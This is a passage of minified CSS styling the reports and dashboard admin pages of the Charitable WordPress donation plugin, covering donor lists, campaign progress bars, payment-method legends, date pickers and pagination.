0;padding-bottom:20px;padding-left:30px;padding-right:30px;border-bottom:1px solid #efeff1}body.charitable_page_charitable-reports .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-graph{width:100%}body.charitable_page_charitable-reports .charitable-report-card .the-list{padding-left:20px;padding-right:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-report-card .the-list.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li{color:#474a57;display:flex;border-bottom:1px solid #efeff1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8c8e96;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .time-ago{color:#8c8e96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px;text-align:right}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity{width:100%}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity h2{line-height:30px;font-size:18px}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container{background-color:#fff}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container .charitable-no-results{padding:20px;text-align:left;font-size:16px;line-height:16px;color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container{padding:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-the-list-container.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-the-list-container ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li{color:#474a57;display:flex;border-bottom:1px solid #efeff1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8c8e96;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .time-ago{color:#8c8e96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-the-list-container ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-reports .charitable-top-campaigns-report p.link{display:table}body.charitable_page_charitable-reports .charitable-top-campaigns-report a{color:#494e5a;text-decoration:none}body.charitable_page_charitable-reports .charitable-top-campaigns-report a img{float:right;margin-left:10px}body.charitable_page_charitable-reports .charitable-top-campaigns-report a:hover{text-decoration:underline}body.charitable_page_charitable-reports .charitable-top-donors-report .avatar img{border-radius:50%}body.charitable_page_charitable-reports .charitable-payment-methods-report{width:33%}body.charitable_page_charitable-reports .charitable-payment-methods-report .apexcharts-canvas{background-image:url(\"..\u002F..\u002F..\u002Fassets\u002Fimages\u002Ficons\u002Fpayments.svg\");background-repeat:no-repeat;background-position:center;margin-left:auto;margin-right:auto}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend{margin:20px auto;width:55%;max-width:300px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li{display:flex;margin-bottom:15px;width:100%}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .icon span{display:block;border-radius:50%;width:15px;height:15px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.stripe .icon span{background-color:#5aa152}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.paypal .icon span{background-color:#2b66d1}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.manual .icon span{background-color:#f99e36}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.offline .icon span{background-color:#9e36f9}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square .icon span,body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square_core .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.none .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .info{margin-left:10px;flex-grow:1;font-size:14px;line-height:14px;color:#474a57;font-weight:600;text-align:left}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .total{font-size:14px;line-height:14px;color:#868890;font-weight:400;text-align:right}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899a0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494e5a;font-weight:400}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-reports .charitable-title-card{padding:20px 30px;margin-top:0;margin-bottom:0;position:relative}body.charitable_page_charitable-reports .charitable-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-title-card a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-reports select#report-advanced-type-filter,body.charitable_page_charitable-reports select#report-donor-type-filter{float:none!important;margin-left:10px}body.charitable_page_charitable-reports .charitable-advanced-report .tablenav{width:100%}body.charitable_page_charitable-reports .progress-bar{height:4px;background-color:#f5f5f5;border-radius:0;border:0}body.charitable_page_charitable-reports .progress-bar .progress{height:4px;background-color:#5aa152}body.charitable_page_charitable-reports .charitable-toggle i:focus,body.charitable_page_charitable-reports .charitable-toggle i:focus-visible,body.charitable_page_charitable-reports .charitable-toggle:active,body.charitable_page_charitable-reports .charitable-toggle:focus,body.charitable_page_charitable-reports .charitable-toggle:focus-visible,body.charitable_page_charitable-reports .charitable-toggle:hover{text-decoration:none;border:0;box-shadow:none}body.charitable_page_charitable-reports .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-reports .badge.completed{color:#50a66a}body.charitable_page_charitable-reports .badge.pending{color:#e38632}body.charitable_page_charitable-reports .badge.active{color:#50a66a}body.charitable_page_charitable-reports .badge.recurring{color:#50a66a}body.charitable_page_charitable-reports .badge.one-time{color:#eaa465}body.charitable_page_charitable-reports .badge.charitable-completed,body.charitable_page_charitable-reports .badge.paid,body.charitable_page_charitable-reports .badge.publish,body.charitable_page_charitable-reports .badge.published{color:#50a66a}body.charitable_page_charitable-reports .badge.cancelled{color:#ce3e4e}body.charitable_page_charitable-reports .badge.draft{color:#ccc}body.charitable_page_charitable-reports .charitable-analytics-container{max-width:790px;margin:30px auto 60px auto;display:table;text-align:center}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-monsterinsights-logo{margin:0 auto}body.charitable_page_charitable-reports .charitable-analytics-container h1{font-weight:600;font-size:28px;line-height:38px;margin-top:20px;color:#444754}body.charitable_page_charitable-reports .charitable-analytics-container h2{font-weight:400;font-size:14px;line-height:22px;margin-top:20px;color:#909299}body.charitable_page_charitable-reports .charitable-analytics-container .vertical-wrapper{margin:0;padding:0;height:100%;width:100%;display:table}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail{margin:60px auto;display:grid;grid-template-columns:repeat(2,1fr);grid-gap:10px;align-content:space-evenly}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail img{max-width:300px}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail ul{padding:0;margin:0;display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail li{text-align:left;min-height:25px;font-size:14px;line-height:21px;color:#474a57;padding-left:25px;margin-bottom:15px;margin-top:0;background:url(..\u002F..\u002Fimages\u002Freports\u002Fanalytics\u002Fcheck.svg) 0 2px no-repeat}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step{margin:20px auto;text-align:left;display:grid;grid-template-columns:1fr 100px;grid-gap:0px;clear:both;max-width:670px;background-color:#fff}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .instructions{padding:25px;float:left}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step{width:100px;background-color:#f7f8fb;text-align:center;float:right}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step .step-image{display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step h3{color:#23282d;font-weight:700;font-size:18px;line-height:23px;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step p{padding:0;margin:10px auto;font-weight:200;color:#646970;font-size:16px;line-height:24px}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link:hover{background-color:#1e5b38!important;border-color:#1e5b38!important}body.charitable_page_charitable-dashboard .tablenav{font-family:Inter,sans-serif!important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .tablenav .alignleft,body.charitable_page_charitable-dashboard .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-dashboard .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-dashboard .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px}body.charitable_page_charitable-dashboard .tablenav a.button,body.charitable_page_charitable-dashboard .tablenav input.button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}body.charitable_page_charitable-dashboard .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button:hover{background-color:#e4e4e7}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-dashboard .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-dashboard .charitable-section .alignleft,body.charitable_page_charitable-dashboard .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-dashboard .charitable-section-loading{opacity:.25}body.charitable_page_charitable-dashboard h1 .badge{font-size:11px;font-weight:400}body.charitable_page_charitable-dashboard .charitable-container{border-radius:5px;color:#757781;background-color:#fff}body.charitable_page_charitable-dashboard .charitable-container .charitable-toggle-container{display:flex;justify-content:space-between;padding:20px 30px;box-shadow:0 5px 15px rgba(0,0,0,.05);align-items:center}body.charitable_page_charitable-dashboard .charitable-container.charitable-dashboard-notifications .charitable-toggle-container{padding-bottom:10px;padding-left:24px;padding-right:24px}body.charitable_page_charitable-dashboard .charitable-container .the-list{width:100%}body.charitable_page_charitable-dashboard .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-dashboard .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-dashboard .charitable-section-grid{display:grid;grid-template-columns:repeat(2,1fr);grid-gap:20px;margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:2 200px;column-gap:20px;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-dashboard-notifications,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recent-donations-report,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-addons,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-snippets,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-support,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-top-campaigns-report{display:inline-block;margin-bottom:20px;width:100%}body.charitable_page_charitable-dashboard .charitable-cards{display:grid;grid-template-columns:repeat(4,1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{color:#474a57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-dashboard .charitable-report-card .header{margin:0;padding-top:20px;padding-bottom:20px;padding-left:25px;padding-right:25px;border-bottom:1px solid #efeff1}body.charitable_page_charitable-dashboard .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li{color:#474a57;display:flex;border-bottom:1px solid #efeff1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8c8e96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8c8e96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8c8e96;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .time-ago{color:#8c8e96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:last-child{border-bottom:0;padding-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:first-child{padding-top:0}body.charitable_page_charitable-dashboard .charitable-report-card .more{margin:30px 25px;display:table;padding:0;text-align:left}body.charitable_page_charitable-dashboard .charitable-report-card .more a{font-weight:600;font-size:14px;line-height:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-report-card .more a img{margin-left:10px;float:right;display:block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards{display:grid;grid-template-columns:repeat(2,1fr);margin-top:0;margin-bottom:0;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card{padding:20px 30px;margin-top:0;margin-bottom:0;position:relative;display:table;clear:both}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h3{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link.charitable-button-link-upgrade{background-color:#f18500}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link:hover{background-color:#43833b!important;border-color:#43833b!important}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done{color:#79ba49}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done:before{content:\"\\f147\";font-family:dashicons;font-size:20px;margin-right:5px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done{color:#5aa152}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done:before{content:\"\\f464\";font-family:dashicons;font-size:20px;margin-right:8px;vertical-align:middle;margin-left:1px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary{font-weight:400;color:#9899a0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p strong{color:#494e5a;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899a0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494e5a;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li{display:flex;border:0;padding-top:5px;padding-bottom:5px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon{margin-right:10px;height:25px;line-height:25px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon img{max-height:25px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a{text-decoration:none;font-weight:600;font-size:14px;line-height:30px;color:#474a57}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul{width:100%;margin:0 auto;padding:0;display:grid;grid-template-columns:repeat(2,1fr);grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li{border:0;padding-top:5px;padding-bottom:5px;padding-left:5px;padding-right:5px;text-align:center;font-weight:400}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a{text-decoration:none;font-size:13px;line-height:17px;color:#474a57;font-family:Inter,sans-serif!important;width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a h4,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a h4{font-weight:600;font-size:18px;line-height:21px;margin-top:5px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li img,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li img{width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a:hover,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .recommended,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .recommended{position:absolute;background-color:green;color:#fff;padding:10px 15px;font-weight:700;text-transform:uppercase}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li{padding-top:0;padding:0}body.charitable_page_charitable-dashboard .charitable-recommended-addons .charitable-toggle-container{padding:26px 26px}body.charitable_page_charitable-dashboard .charitable-title-card-content .button-wrap{margin:20px 0 0 0;display:flex;flex-direction:row;justify-content:space-between}body.charitable_page_charitable-dashboard .progress-bar{height:4px;background-color:#f5f5f5;border-radius:0;border:0}body.charitable_page_charitable-dashboard .progress-bar .progress{height:4px;background-color:#5aa152}body.charitable_page_charitable-dashboard .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-dashboard .badge.completed{color:#50a66a}body.charitable_page_charitable-dashboard .badge.pending{color:#e38632}body.charitable_page_charitable-dashboard .badge.active{color:#50a66a}body.charitable_page_charitable-dashboard .badge.recurring{color:#50a66a}body.charitable_page_charitable-dashboard .badge.one-time{color:#eaa465}body.charitable_page_charitable-dashboard .badge.charitable-completed,body.charitable_page_charitable-dashboard .badge.paid{color:#50a66a}body.charitable_page_charitable-dashboard .badge.cancelled{color:#ce3e4e}body.charitable_page_charitable-dashboard .badge.draft{color:#ccc}body.charitable_page_charitable-dashboard .no-items{text-align:center;font-size:17px;line-height:22px;margin:50px auto}body.charitable_page_charitable-dashboard .no-items strong{font-weight:600}body.charitable_page_charitable-dashboard .no-items p{font-size:17px;line-height:22px;margin:12px auto}body.charitable_page_charitable-dashboard .no-items p.link{font-size:14px;line-height:14px;display:table}body.charitable_page_charitable-dashboard .no-items p.link a{font-weight:600;font-size:14px;line-height:14px;text-decoration:none}body.charitable_page_charitable-dashboard .no-items p.link a img{margin-left:10px;margin-top:-2px;float:right;display:block}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list{width:100%}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items{margin:35px auto 10px auto}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items p.link{text-align:left;margin:0 auto 0 0}nav.charitable-reports-pagination-nav{margin:0 0 9px}nav.charitable-reports-pagination-nav div.total-count{float:left}nav.charitable-reports-pagination-nav ul{float:right;margin:0}nav.charitable-reports-pagination-nav ul li{font-size:13px;line-height:30px;display:inline-block;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;cursor:default;transform:none!important}nav.charitable-reports-pagination-nav ul li 